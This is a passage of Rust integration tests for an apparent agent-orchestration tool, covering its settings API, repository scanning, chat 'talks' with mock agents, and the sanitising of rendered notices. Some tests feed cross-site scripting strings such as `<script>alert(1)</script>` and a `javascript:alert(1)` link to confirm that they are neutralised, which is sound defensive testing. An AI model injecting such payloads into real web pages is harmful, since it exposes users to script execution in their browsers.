13521        assert!(settings::repository_config(&selected, Some(&machine)).is_ok());
13522        for (p, before) in [&repo, &selected, &broken].iter().zip(originals) {
13523            assert_eq!(std::fs::read(p.join("magi.toml")).unwrap(), before);
13524        }
13525        let error = f
13526            .get(&format!("/api/settings?repo={}", broken.display()))
13527            .await;
13528        assert_eq!(error.status, 200);
13529        assert!(error.json()["error"]["message"].is_string());
13530        assert_eq!(error.json()["repositories"], default["repositories"]);
13531    }
13532
13533    #[tokio::test]
13534    async fn settings_get_reports_sources_and_the_advisors_fallback() {
13535        let (_tmp, repo, machine) =
13536            settings_dirs(SETTINGS_AGENTS, Some("[roles]\njudges = [\"b\"]\n"));
13537        let f = Fixture::with_repo_and_machine(repo, machine).await;
13538        let res = f.get("/api/settings").await;
13539        assert_eq!(res.status, 200, "{}", res.body);
13540        let v = res.json();
13541        assert!(v["error"].is_null(), "{v}");
13542        let role = |k: &str| {
13543            v["roles"]
13544                .as_array()
13545                .and_then(|r| r.iter().find(|x| x["key"] == k))
13546                .cloned()
13547                .unwrap_or_else(|| panic!("no role {k}: {v}"))
13548        };
13549        assert_eq!(role("judges")["source"], "machine");
13550        assert_eq!(role("judges")["editable"], true);
13551        assert_eq!(role("implementers")["source"], "default");
13552        let adv = role("advisors");
13553        assert_eq!(adv["fallback"], "judges");
13554        assert!(
13555            adv["seats"]
13556                .as_array()
13557                .is_some_and(|s| s.iter().all(|x| x == "b")),
13558            "{adv}"
13559        );
13560        assert_eq!(v["agents"].as_array().map(Vec::len), Some(2));
13561        assert_eq!(v["agents"][0]["source"], "repo");
13562    }
13563
13564    #[tokio::test]
13565    async fn settings_get_reports_a_config_that_does_not_parse() {
13566        let (_tmp, repo, machine) = settings_dirs("[roles\nbroken", None);
13567        let f = Fixture::with_repo_and_machine(repo, machine).await;
13568        let res = f.get("/api/settings").await;
13569        assert_eq!(res.status, 200, "{}", res.body);
13570        let v = res.json();
13571        assert!(v["error"]["message"].is_string(), "{v}");
13572        assert!(
13573            v["error"]["path"]
13574                .as_str()
13575                .is_some_and(|p| p.ends_with("magi.toml")),
13576            "{v}"
13577        );
13578        assert_eq!(v["roles"].as_array().map(Vec::len), Some(0));
13579    }
13580
13581    #[tokio::test]
13582    async fn settings_put_saves_to_the_machine_file_and_keeps_comments() {
13583        let (_tmp, repo, machine) = settings_dirs(
13584            SETTINGS_AGENTS,
13585            Some("# mine\n[roles]\n# seats\njudges = [\"a\"]  # note\n\n[vars]\nx = 1\n"),
13586        );
13587        let repo_before = std::fs::read(repo.join("magi.toml")).expect("read");
13588        let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
13589        let rev = f.get("/api/settings").await.json()["revision"]
13590            .as_str()
13591            .expect("revision")
13592            .to_owned();
13593        let body = serde_json::json!({
13594            "revision": rev,
13595            "roles": { "judges": ["b", "a"], "reviewers": ["a"] }
13596        })
13597        .to_string();
13598        let res = f.put("/api/settings/roles", &body).await;
13599        assert_eq!(res.status, 200, "{}", res.body);
13600        let text = std::fs::read_to_string(&machine).expect("machine");
13601        assert_eq!(
13602            text,
13603            "# mine\n[roles]\n# seats\njudges = [\"b\", \"a\"]  # note\nreviewers = [\"a\"]\n\n[vars]\nx = 1\n"
13604        );
13605        assert_eq!(
13606            std::fs::read(repo.join("magi.toml")).expect("read"),
13607            repo_before
13608        );
13609        let again = f.get("/api/settings").await.json();
13610        let judges = again["roles"]
13611            .as_array()
13612            .expect("roles")
13613            .iter()
13614            .find(|r| r["key"] == "judges")
13615            .expect("judges")
13616            .clone();
13617        assert_eq!(judges["configured"], serde_json::json!(["b", "a"]));
13618        // The old revision is now stale.
13619        let stale = f.put("/api/settings/roles", &body).await;
13620        assert_eq!(stale.status, 409, "{}", stale.body);
13621    }
13622
13623    #[tokio::test]
13624    async fn settings_counts_are_reported_and_saved() {
13625        let (_tmp, repo, machine) = settings_dirs(
13626            &format!("{SETTINGS_AGENTS}\n[graph]\nreviewers = 2\n"),
13627            Some("# mine\n[graph]\ncandidates = 2 # seats\n"),
13628        );
13629        let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
13630        let v = f.get("/api/settings").await.json();
13631        let count = |v: &serde_json::Value, k: &str| {
13632            v["roles"]
13633                .as_array()
13634                .and_then(|r| r.iter().find(|x| x["key"] == k))
13635                .map(|x| x["count"].clone())
13636                .unwrap_or_else(|| panic!("no role {k}: {v}"))
13637        };
13638        let imp = count(&v, "implementers");
13639        assert_eq!(imp["value"], 2);
13640        assert_eq!(imp["source"], "machine");
13641        assert_eq!(imp["file_key"], "candidates");
13642        assert_eq!(imp["roster_len"], 2);
13643        assert_eq!(imp["backups"], 0);
13644        assert_eq!(count(&v, "judges")["source"], "default");
13645        assert_eq!(count(&v, "advisors")["min"], 0);
13646        assert_eq!(count(&v, "reviewers")["editable"], false);
13647        assert!(
13648            count(&v, "reviewers")["locked_reason"]
13649                .as_str()
13650                .is_some_and(|m| m.contains("graph.reviewers"))
13651        );
13652        assert!(count(&v, "fixer").is_null());
13653        let rev = v["revision"].as_str().expect("revision").to_owned();
13654        let body = serde_json::json!({
13655            "revision": rev,
13656            "roles": { "judges": ["b"] },
13657            "counts": { "implementers": 1, "advisors": 0 }
13658        })
13659        .to_string();
13660        let res = f.put("/api/settings/roles", &body).await;
13661        assert_eq!(res.status, 200, "{}", res.body);
13662        let text = std::fs::read_to_string(&machine).expect("machine");
13663        assert_eq!(
13664            text,
13665            "# mine\n[graph]\ncandidates = 1 # seats\nadvisors = 0\n\n[roles]\njudges = [\"b\"]\n"
13666        );
13667        let after = f.get("/api/settings").await.json();
13668        assert_eq!(count(&after, "implementers")["value"], 1);
13669        assert_eq!(count(&after, "implementers")["backups"], 1);
13670        assert_eq!(count(&after, "advisors")["value"], 0);
13671        let before = std::fs::read_to_string(&machine).expect("machine");
13672        let rev = after["revision"].as_str().expect("revision").to_owned();
13673        for counts in [
13674            serde_json::json!({ "judges": 0 }),
13675            serde_json::json!({ "judges": "x" }),
13676            serde_json::json!({ "judges": 2.5 }),
13677            serde_json::json!({ "judges": -1 }),
13678            serde_json::json!({ "reviewers": 3 }),
13679            serde_json::json!({ "bogus": 3 }),
13680        ] {
13681            let body = serde_json::json!({ "revision": rev, "counts": counts }).to_string();
13682            let res = f.put("/api/settings/roles", &body).await;
13683            assert_eq!(res.status, 422, "{counts}: {}", res.body);
13684            assert_eq!(std::fs::read_to_string(&machine).expect("machine"), before);
13685        }
13686    }
13687
13688    #[tokio::test]
13689    async fn settings_put_refuses_without_touching_the_file() {
13690        let machine_text = "# mine\n[roles]\njudges = [\"a\"]\n";
13691        let (_tmp, repo, machine) = settings_dirs(
13692            &format!("{SETTINGS_AGENTS}\n[roles]\nreviewers = [\"a\"]\n"),
13693            Some(machine_text),
13694        );
13695        let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
13696        let rev = f.get("/api/settings").await.json()["revision"]
13697            .as_str()
13698            .expect("revision")
13699            .to_owned();
13700        for roles in [
13701            serde_json::json!({ "judges": ["nope"] }),
13702            serde_json::json!({ "reviewers": ["b"] }),
13703            serde_json::json!({ "bogus": ["a"] }),
13704        ] {
13705            let body = serde_json::json!({ "revision": rev, "roles": roles }).to_string();
13706            let res = f.put("/api/settings/roles", &body).await;
13707            assert_eq!(res.status, 422, "{roles}: {}", res.body);
13708            assert!(res.json()["error"].as_str().is_some_and(|m| !m.is_empty()));
13709            assert_eq!(
13710                std::fs::read_to_string(&machine).expect("machine"),
13711                machine_text
13712            );
13713        }
13714    }
13715
13716    #[tokio::test]
13717    async fn repos_list_returns_name_and_path_for_every_configured_root() {
13718        let tmp = TempDir::new().expect("tempdir");
13719        let repo = tmp.path().join("repo");
13720        std::fs::create_dir_all(&repo).expect("repo dir");
13721        let root = tmp.path().join("root");
13722        make_checkout(&root, "github.com", "yukimemi", "magi");
13723        std::fs::write(
13724            repo.join("magi.toml"),
13725            format!(
13726                "[repos]\nroots = [{:?}]\n",
13727                root.to_string_lossy().into_owned()
13728            ),
13729        )
13730        .expect("write magi.toml");
13731
13732        let f = Fixture::with_repo(repo).await;
13733        let res = f.get("/api/repos").await;
13734        assert_eq!(res.status, 200, "{}", res.body);
13735        let list = res.json();
13736        let repos = list.as_array().expect("an array");
13737        assert_eq!(repos.len(), 1);
13738        assert_eq!(repos[0]["name"], "yukimemi/magi");
13739        assert!(
13740            repos[0]["path"]
13741                .as_str()
13742                .is_some_and(|p| p.ends_with("magi") || p.contains("magi")),
13743            "{list}"
13744        );
13745    }
13746
13747    #[tokio::test]
13748    async fn repos_list_only_rescans_within_the_ttl_when_asked_to() {
13749        let tmp = TempDir::new().expect("tempdir");
13750        let repo = tmp.path().join("repo");
13751        std::fs::create_dir_all(&repo).expect("repo dir");
13752        let root = tmp.path().join("root");
13753        make_checkout(&root, "github.com", "yukimemi", "magi");
13754        std::fs::write(
13755            repo.join("magi.toml"),
13756            format!(
13757                "[repos]\nroots = [{:?}]\nscan_ttl = 3600\n",
13758                root.to_string_lossy().into_owned()
13759            ),
13760        )
13761        .expect("write magi.toml");
13762
13763        let f = Fixture::with_repo(repo).await;
13764        let first = f.get("/api/repos").await;
13765        assert_eq!(first.json().as_array().map(Vec::len), Some(1));
13766
13767        // A second checkout appears; within the TTL the cached answer must
13768        // not notice it.
13769        make_checkout(&root, "github.com", "yukimemi", "rvpm");
13770        let second = f.get("/api/repos").await;
13771        assert_eq!(
13772            second.json().as_array().map(Vec::len),
13773            Some(1),
13774            "a fresh cache must not rescan inside the TTL"
13775        );
13776
13777        let refreshed = f.get("/api/repos?refresh=1").await;
13778        assert_eq!(
13779            refreshed.json().as_array().map(Vec::len),
13780            Some(2),
13781            "an explicit refresh must rescan even inside the TTL"
13782        );
13783    }
13784
13785    /// A `kind = "command"` agent that ignores its prompt and answers a fixed
13786    /// string, declared straight in a repository's own `magi.toml` rather
13787    /// than the operator's real roster. No real agent CLI is spawned - `sh`
13788    /// is the interpreter, the same as `talk::tests::mock_agent` uses - so
13789    /// this is safe to run over a real HTTP round trip.
13790    const MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && printf ok\"]\n";
13791
13792    /// A repo carrying `MOCK_AGENT_TOML`, for the talk routes that need a
13793    /// real `Config::discover` to find an agent - `talk::begin` resolves one
13794    /// even though it takes no turn, and `talk_say` invokes one.
13795    async fn talk_fixture() -> (TempDir, PathBuf, Fixture) {
13796        let tmp = TempDir::new().expect("tempdir");
13797        let repo = tmp.path().join("repo");
13798        std::fs::create_dir_all(&repo).expect("repo dir");
13799        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
13800        let f = Fixture::with_repo(repo.clone()).await;
13801        (tmp, repo, f)
13802    }
13803
13804    #[tokio::test]
13805    async fn posting_a_talk_with_remembered_choices_is_soft() {
13806        let (_tmp, _repo, f) = talk_fixture().await;
13807
13808        let good = f
13809            .post("/api/talks", Some(r#"{"persona":"rei","implementers":1}"#))
13810            .await;
13811        assert_eq!(good.status, 201, "{}", good.body);
13812        assert_eq!(good.json()["persona"], "rei");
13813
13814        // Wrong values and wrong types are dropped one by one, never a 4xx.
13815        let stale = f
13816            .post(
13817                "/api/talks",
13818                Some(r#"{"preferred_agent":"gone","persona":"nobody","implementers":7}"#),
13819            )
13820            .await;
13821        assert_eq!(stale.status, 201, "{}", stale.body);
13822        let v = stale.json();
13823        assert_eq!(v["implementers"], 1);
13824        assert_ne!(v["persona"], "nobody");
13825        let typed = f
13826            .post(
13827                "/api/talks",
13828                Some(r#"{"preferred_agent":3,"persona":[],"implementers":"x"}"#),
13829            )
13830            .await;
13831        assert_eq!(typed.status, 201, "{}", typed.body);
13832
13833        // The strict `agent` field still refuses an unknown id.
13834        let strict = f.post("/api/talks", Some(r#"{"agent":"gone"}"#)).await;
13835        assert!(
13836            !strict.status.to_string().starts_with('2'),
13837            "{}",
13838            strict.body
13839        );
13840    }
13841
13842    #[tokio::test]
13843    async fn posting_a_talk_with_no_body_opens_one_and_takes_no_turn() {
13844        let (_tmp, _repo, f) = talk_fixture().await;
13845
13846        // No body at all - `f.post(.., None)` sends no `Content-Type` either -
13847        // is the ordinary way a phone opens a talk.
13848        let opened = f.post("/api/talks", None).await;
13849        assert_eq!(opened.status, 201, "{}", opened.body);
13850        let body = opened.json();
13851        assert_eq!(body["status"], "open");
13852        assert_eq!(
13853            body["turns"].as_array().unwrap().len(),
13854            0,
13855            "opening takes no agent turn: there is nothing yet to answer"
13856        );
13857
13858        // An explicit empty object is the same request as none at all.
13859        let also_opened = f.post("/api/talks", Some("{}")).await;
13860        assert_eq!(also_opened.status, 201, "{}", also_opened.body);
13861
13862        let listed = f.get("/api/talks").await.json();
13863        assert_eq!(listed.as_array().unwrap().len(), 2);
13864    }
13865
13866    #[tokio::test]
13867    async fn talk_agent_switches_the_roster_agent_and_refuses_unknown_busy_or_closed() {
13868        let tmp = TempDir::new().expect("tempdir");
13869        let repo = tmp.path().join("repo");
13870        std::fs::create_dir_all(&repo).expect("repo dir");
13871        let second = MOCK_AGENT_TOML.replace("\"mock\"", "\"second\"");
13872        std::fs::write(
13873            repo.join("magi.toml"),
13874            format!("{MOCK_AGENT_TOML}\n{second}"),
13875        )
13876        .expect("write magi.toml");
13877        let home = TempDir::new().expect("temp home");
13878        let talks = Talks::at(home.path().join("talks"));
13879        let ui = Arc::new(
13880            Ui::new(
13881                Queue::at(home.path().join("queue")),
13882                Questions::at(home.path().join("questions")),
13883                talks.clone(),
13884                home.path().join("runs"),
13885                home.path().to_path_buf(),
13886                repo.clone(),
13887            )
13888            .with_worktrees_root(home.path().join("wt")),
13889        );
13890        let cfg = config_for(&repo).await.expect("discover config");
13891        let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
13892        let id = talk.id.clone();
13893        let call = |agent: &str| {
13894            talk_agent(
13895                State(Arc::clone(&ui)),
13896                Path(id.clone()),
13897                Json(TalkAgent {
13898                    agent: agent.to_owned(),
13899                }),
13900            )
13901        };
13902
13903        let unknown = call("nobody").await.expect_err("unknown agent");
13904        assert_eq!(
13905            unknown.status,
13906            StatusCode::BAD_REQUEST,
13907            "{}",
13908            unknown.message
13909        );
13910
13911        {
13912            // Nothing refused so far took a claim, so the guard is free to take
13913            // and holding it is what makes the talk busy.
13914            let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
13915            let busy = call("second").await.expect_err("busy talk");
13916            assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
13917            assert!(
13918                busy.message.contains("a talk turn is running"),
13919                "{}",
13920                busy.message
13921            );
13922            drop(guard);
13923        }
13924        assert_eq!(talks.get(&id).expect("reload").agent, "mock");
13925
13926        let Json(view) = call("second").await.expect("switch");
13927        assert_eq!(view.talk.agent, "second");
13928        assert_eq!(view.talk.turns.len(), 1, "the change is noted");
13929        let saved = talks.get(&id).expect("reload");
13930        assert_eq!(saved.agent, "second");
13931        assert_eq!(saved.turns.len(), 1);
13932        assert!(!view.thinking);
13933        assert!(!ui.is_thinking(&id), "idle response must release the claim");
13934        for agent in ["mock", "second"] {
13935            let Json(view) = call(agent).await.expect("immediate consecutive change");
13936            assert_eq!(view.talk.agent, agent);
13937            assert!(!view.thinking);
13938            assert!(!ui.is_thinking(&id));
13939        }
13940
13941        let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
13942            .await
13943            .expect("detail");
13944        let roster: Vec<&str> = detail.0.roster.iter().map(|r| r.id.as_str()).collect();
13945        assert_eq!(roster, ["mock", "second"]);
13946
13947        let mut closed = talks.get(&id).expect("reload");
13948        talk::close(&mut closed, &talks).expect("close");
13949        let refused = call("mock").await.expect_err("closed talk");
13950        assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
13951        assert!(
13952            refused.message.contains("takes no more turns"),
13953            "{}",
13954            refused.message
13955        );
13956    }
13957
13958    #[tokio::test]
13959    async fn talk_implementers_validates_and_refuses_busy_or_closed() {
13960        let tmp = TempDir::new().expect("tempdir");
13961        let repo = tmp.path().join("repo");
13962        std::fs::create_dir_all(&repo).expect("repo dir");
13963        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
13964        let home = TempDir::new().expect("temp home");
13965        let talks = Talks::at(home.path().join("talks"));
13966        let ui = Arc::new(
13967            Ui::new(
13968                Queue::at(home.path().join("queue")),
13969                Questions::at(home.path().join("questions")),
13970                talks.clone(),
13971                home.path().join("runs"),
13972                home.path().to_path_buf(),
13973                repo.clone(),
13974            )
13975            .with_worktrees_root(home.path().join("wt")),
13976        );
13977        let cfg = config_for(&repo).await.expect("discover config");
13978        let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
13979        let id = talk.id.clone();
13980        let call = |n: u8| {
13981            talk_implementers(
13982                State(Arc::clone(&ui)),
13983                Path(id.clone()),
13984                Json(TalkImplementers { implementers: n }),
13985            )
13986        };
13987
13988        for bad in [0u8, 4] {
13989            let e = call(bad).await.expect_err("out of range");
13990            assert_eq!(e.status, StatusCode::BAD_REQUEST, "{}", e.message);
13991        }
13992        assert_eq!(talks.get(&id).expect("reload").implementers, 1);
13993
13994        {
13995            // Nothing refused so far took a claim, so the guard is free to take
13996            // and holding it is what makes the talk busy.
13997            let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
13998            let busy = call(2).await.expect_err("busy talk");
13999            assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
14000            assert!(
14001                busy.message.contains("a talk turn is running"),
14002                "{}",
14003                busy.message
14004            );
14005            drop(guard);
14006        }
14007
14008        let Json(view) = call(3).await.expect("switch");
14009        assert_eq!(view.talk.implementers, 3);
14010        assert!(talks.get(&id).expect("reload").implementers_dirty);
14011        assert!(!view.thinking);
14012        assert!(!ui.is_thinking(&id), "idle response must release the claim");
14013        for n in [1, 2, 3] {
14014            let Json(view) = call(n).await.expect("immediate consecutive change");
14015            assert_eq!(view.talk.implementers, n);
14016            assert!(!view.thinking);
14017            assert!(!ui.is_thinking(&id));
14018        }
14019
14020        let mut closed = talks.get(&id).expect("reload");
14021        talk::close(&mut closed, &talks).expect("close");
14022        let e = call(2).await.expect_err("closed talk");
14023        assert_eq!(e.status, StatusCode::CONFLICT, "{}", e.message);
14024        assert!(e.message.contains("takes no more turns"), "{}", e.message);
14025    }
14026
14027    /// A repo with `extra` appended to the mock agent's config, and a talk in it.
14028    async fn avatar_fixture(extra: &str) -> (TempDir, TempDir, Arc<Ui>, String, PathBuf) {
14029        let tmp = TempDir::new().expect("tempdir");
14030        let repo = tmp.path().join("repo");
14031        std::fs::create_dir_all(&repo).expect("repo dir");
14032        std::fs::write(
14033            repo.join("magi.toml"),
14034            format!("{MOCK_AGENT_TOML}\n{extra}"),
14035        )
14036        .expect("write magi.toml");
14037        let home = TempDir::new().expect("temp home");
14038        let talks = Talks::at(home.path().join("talks"));
14039        let ui = Arc::new(
14040            Ui::new(
14041                Queue::at(home.path().join("queue")),
14042                Questions::at(home.path().join("questions")),
14043                talks.clone(),
14044                home.path().join("runs"),
14045                home.path().to_path_buf(),
14046                repo.clone(),
14047            )
14048            .with_worktrees_root(home.path().join("wt")),
14049        );
14050        let cfg = config_for(&repo).await.expect("discover config");
14051        let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
14052        (tmp, home, ui, talk.id, repo)
14053    }
14054
14055    #[tokio::test]
14056    async fn magi_provenance_view_resolves_legacy_replies_and_mixed_messages() {
14057        let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
14058        let mut conversation = ui.talks.get(&id).unwrap();
14059        talk::record(
14060            &mut conversation,
14061            &ui.talks,
14062            "# Update on a task you filed\noperator words",
14063            vec![],
14064        )
14065        .unwrap();
14066        // Simulate an old operator record; headings do not prove authorship.
14067        conversation.turns[0].sender = None;
14068        conversation.turns[0].messages.clear();
14069        ui.talks.put(&mut conversation).unwrap();
14070        talk::queue(&mut conversation, &ui.talks, "owner", vec![]).unwrap();
14071        talk::queue_once(&mut conversation, &ui.talks, "automatic report", "notice").unwrap();
14072        talk::drain(&mut conversation, &ui.talks).unwrap();
14073        talk::record_reply(
14074            &mut conversation,
14075            &ui.talks,
14076            "about that report",
14077            vec![],
14078            Some(talk::ReplyTarget {
14079                turn: 1,
14080                message: 1,
14081            }),
14082        )
14083        .unwrap();
14084        conversation.turns[2].messages[0]
14085            .reply
14086            .as_mut()
14087            .unwrap()
14088            .sender = None;
14089        conversation.turns.push(talk::Turn {
14090            sender: Some(talk::Sender::Persona),
14091            who: talk::Who::Agent,
14092            body: "magi: actual persona words".into(),
14093            at: Timestamp::now(),
14094            attachments: vec![],
14095            usage: None,
14096            breaks: None,
14097            messages: vec![],
14098            posted_by: None,
14099        });
14100        ui.talks.put(&mut conversation).unwrap();
14101        let view = TalkView::with_config(
14102            ui.talks.get(&id).unwrap(),
14103            false,
14104            None,
14105            &ui.home,
14106            &ui.references,
14107        );
14108        assert_eq!(view.talk.turns[0].sender, Some(talk::Sender::Operator));
14109        assert_eq!(
14110            view.talk.turns[1].messages[0].sender,
14111            Some(talk::Sender::Operator)
14112        );
14113        assert_eq!(
14114            view.talk.turns[1].messages[1].sender,
14115            Some(talk::Sender::Magi)
14116        );
14117        assert_eq!(
14118            view.talk.turns[2].messages[0]
14119                .reply
14120                .as_ref()
14121                .unwrap()
14122                .sender,
14123            Some(talk::Sender::Magi)
14124        );
14125        assert_eq!(view.talk.turns[3].sender, Some(talk::Sender::Persona));
14126        assert_eq!(view.turn_messages_md[0].len(), 1);
14127        assert!(view.turn_messages_md[0][0].is_none());
14128        assert!(view.turn_messages_md[1][0].is_none());
14129        assert!(view.turn_messages_md[1][1].is_some());
14130    }
14131
14132    #[tokio::test]
14133    async fn notification_display_survives_queue_history_and_reply_without_changing_input() {
14134        let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
14135        let mut conversation = ui.talks.get(&id).unwrap();
14136        let (body, display) = crate::prompt::chat_watch_report("watch-123", "failed", "output");
14137        talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
14138        talk::queue_notice(
14139            &mut conversation,
14140            &ui.talks,
14141            &body,
14142            "watch:123",
14143            &|_| false,
14144            None,
14145            display.clone(),
14146        )
14147        .unwrap();
14148        assert!(
14149            !talk::queue_notice(
14150                &mut conversation,
14151                &ui.talks,
14152                &body,
14153                "watch:123",
14154                &|_| false,
14155                None,
14156                display.clone()
14157            )
14158            .unwrap()
14159        );
14160        let saved = ui.talks.get(&id).unwrap();
14161        assert_eq!(saved.pending_messages[0].display, Some(display.clone()));
14162        let view = TalkView::with_config(saved, false, None, &ui.home, &ui.references);
14163        assert!(
14164            view.talk.turns[0].messages[0].display.is_none(),
14165            "operator copy stays literal"
14166        );
14167        assert_eq!(view.talk.pending_messages[0].display, Some(display.clone()));
14168        assert!(view.turn_messages_md[0][0].is_none());
14169        let queued_md = view.pending_messages_md[0].clone();
14170        assert_eq!(
14171            queued_md,
14172            Some(md::to_nodes(&display.facts, &md::ImageBase::None))
14173        );
14174        talk::drain(&mut conversation, &ui.talks).unwrap();
14175        talk::record_reply(
14176            &mut conversation,
14177            &ui.talks,
14178            "Explain",
14179            vec![],
14180            Some(talk::ReplyTarget {
14181                turn: 1,
14182                message: 0,
14183            }),
14184        )
14185        .unwrap();
14186        let mut saved = ui.talks.get(&id).unwrap();
14187        assert_eq!(saved.turns[1].messages[0].body, body);
14188        assert_eq!(saved.turns[1].messages[0].display, Some(display.clone()));
14189        let reply = saved.turns[2].messages[0].reply.as_mut().unwrap();
14190        assert!(!reply.excerpt.contains("automatic report"));
14191        reply.excerpt = body.chars().take(240).collect(); // old saved quote
14192        saved.turns[1].messages[0].display = None; // old MAGI send
14193        ui.talks.put(&mut saved).unwrap();
14194        let view = TalkView::with_config(
14195            ui.talks.get(&id).unwrap(),
14196            false,
14197            None,
14198            &ui.home,
14199            &ui.references,
14200        );
14201        assert_eq!(view.turn_messages_md[1][0], queued_md);
14202        assert_eq!(view.talk.turns[1].messages[0].display, Some(display));
14203        assert!(
14204            !view.talk.turns[2].messages[0]
14205                .reply
14206                .as_ref()
14207                .unwrap()
14208                .excerpt
14209                .contains("automatic report")
14210        );
14211        assert_eq!(ui.talks.get(&id).unwrap().turns[1].messages[0].body, body);
14212    }
14213
14214    #[tokio::test]
14215    async fn consultation_display_hides_directives_in_queue_and_history() {
14216        for node in [
14217            "implement",
14218            crate::land::APPROVAL_NODE,
14219            crate::github_text::ASK_NODE,
14220        ] {
14221            let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
14222            let mut question = Question::new(
14223                "run-123".into(),
14224                node.into(),
14225                "seat-1".into(),
14226                "Which backend?".into(),
14227                "## Context\n\nUse `storage`.\n\n<script>literal</script>".into(),
14228                vec!["SQLite".into(), "Redis".into()],
14229            );
14230            ui.questions.put(&mut question).unwrap();
14231            let body = crate::prompt::chat_consult(&question);
14232            let mut conversation = ui.talks.get(&id).unwrap();
14233            talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
14234            assert!(
14235                crate::consult::begin(&ui.questions, &ui.talks, &question, &conversation).unwrap()
14236            );
14237            conversation = ui.talks.get(&id).unwrap();
14238            assert_eq!(conversation.pending_messages[0].body, body);
14239            assert!(body.contains("magi answer"));
14240            let mut legacy_pending = conversation.clone();
14241            legacy_pending.pending_messages[0].display = None;
14242            let legacy_view =
14243                TalkView::with_config(legacy_pending, false, None, &ui.home, &ui.references);
14244            let legacy_md = serde_json::to_string(&legacy_view.pending_messages_md[0]).unwrap();
14245            assert!(legacy_md.contains("Question consultation"));
14246            assert!(!legacy_md.contains("magi answer"));
14247            let view =
14248                TalkView::with_config(conversation.clone(), false, None, &ui.home, &ui.references);
14249            assert!(
14250                view.turn_messages_md[0][0].is_none(),
14251                "operator copy stays literal"
14252            );
14253            let queued_md = view.pending_messages_md[0].clone().unwrap();
14254            let rendered = serde_json::to_string(&queued_md).unwrap();
14255            for visible in [
14256                "Which backend?",
14257                "Context",
14258                "storage",
14259                "SQLite",
14260                "Redis",
14261                "<script>literal</script>",
14262            ] {
14263                assert!(rendered.contains(visible), "missing {visible}");
14264            }
14265            for directive in [
14266                "What to do",
14267                "magi answer",
14268                "Never answer it yourself",
14269                "Do not edit the repository",
14270            ] {
14271                assert!(!rendered.contains(directive), "exposed {directive}");
14272            }
14273            assert_eq!(
14274                view.talk.pending_messages[0].display,
14275                Some(crate::prompt::chat_consult_display(&question))
14276            );
14277            talk::drain(&mut conversation, &ui.talks).unwrap();
14278            let view =
14279                TalkView::with_config(conversation.clone(), false, None, &ui.home, &ui.references);
14280            assert_eq!(view.turn_messages_md[1][0], Some(queued_md));
14281            assert_eq!(conversation.turns[1].messages[0].body, body);
14282
14283            // Historical consultations lack a snapshot: show a safe placeholder
14284            // rather than parsing instructions or reconstructing mutable facts.
14285            conversation.turns[1].messages[0].display = None;
14286            let view = TalkView::with_config(conversation, false, None, &ui.home, &ui.references);
14287            let legacy = serde_json::to_string(&view.turn_messages_md[1][0]).unwrap();
14288            assert!(legacy.contains("Question consultation"));
14289            assert!(!legacy.contains("magi answer"));
14290            assert!(notice_markdown(talk::Sender::Magi, &body, None).is_none());
14291        }
14292    }
14293
14294    #[test]
14295    fn notification_markdown_uses_only_visible_facts_and_explicit_provenance() {
14296        let facts = "# Update\n\n- `task` [PR](https://example.org)\n\n```sh\necho ok\n```\n\n<script>alert(1)</script>\n\n[bad](javascript:alert(1))";
14297        let (body, mut display) =
14298            crate::prompt::chat_watch_report("watch-123", "failed", "<script>untrusted</script>");
14299        display.facts = facts.into();
14300        let nodes = notice_markdown(talk::Sender::Magi, &body, Some(&display)).unwrap();
14301        assert_eq!(nodes, md::to_nodes(facts, &md::ImageBase::None));
14302        let json = serde_json::to_string(&nodes).unwrap();
14303        for kind in ["heading", "bullet_list", "code", "link", "code_block"] {
14304            assert!(json.contains(&format!("\"type\":\"{kind}\"")));
14305        }
14306        assert!(json.contains("<script>alert(1)</script>"));
14307        assert!(!json.contains("javascript:"));
14308        assert!(!json.contains("Tell the operator"));
14309        assert!(!json.contains("untrusted"));
14310        assert!(notice_markdown(talk::Sender::Operator, facts, None).is_none());
14311        assert!(notice_markdown(talk::Sender::Operator, &body, Some(&display)).is_none());
14312        assert!(notice_markdown(talk::Sender::Magi, &body, None).is_none());
14313        assert_eq!(
14314            notice_markdown(talk::Sender::Magi, "magi: # Status", None).unwrap(),
14315            md::to_nodes("# Status", &md::ImageBase::None),
14316        );
14317    }
14318
14319    #[tokio::test]
14320    async fn notification_display_recovers_exact_legacy_completion_references() {
14321        let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
14322        let mut conversation = ui.talks.get(&id).unwrap();
14323        let (body, display) = crate::prompt::chat_task_report(&crate::prompt::ChatTaskNotice {
14324            id: "task-123",
14325            title: "Change",
14326            status: "done",
14327            reason: None,
14328            run: Some("run-123"),
14329            pr: None,
14330            summary: Some("Merge state unknown"),
14331        });
14332        talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
14333        conversation.turns[0].sender = None;
14334        conversation.turns[0].messages.clear();
14335        conversation.turns[0].breaks = None;
14336        conversation.pending = body.clone();
14337        conversation
14338            .completion_notices
14339            .push(crate::chat_notify::CompletionReference {
14340                task: "task-123".into(),
14341                run: Some("run-123".into()),
14342                notice: body.clone(),
14343            });
14344        ui.talks.put(&mut conversation).unwrap();
14345        let view = TalkView::with_config(
14346            ui.talks.get(&id).unwrap(),
14347            false,
14348            None,
14349            &ui.home,
14350            &ui.references,
14351        );
14352        assert_eq!(
14353            view.talk.turns[0].messages[0].display,
14354            Some(display.clone())
14355        );
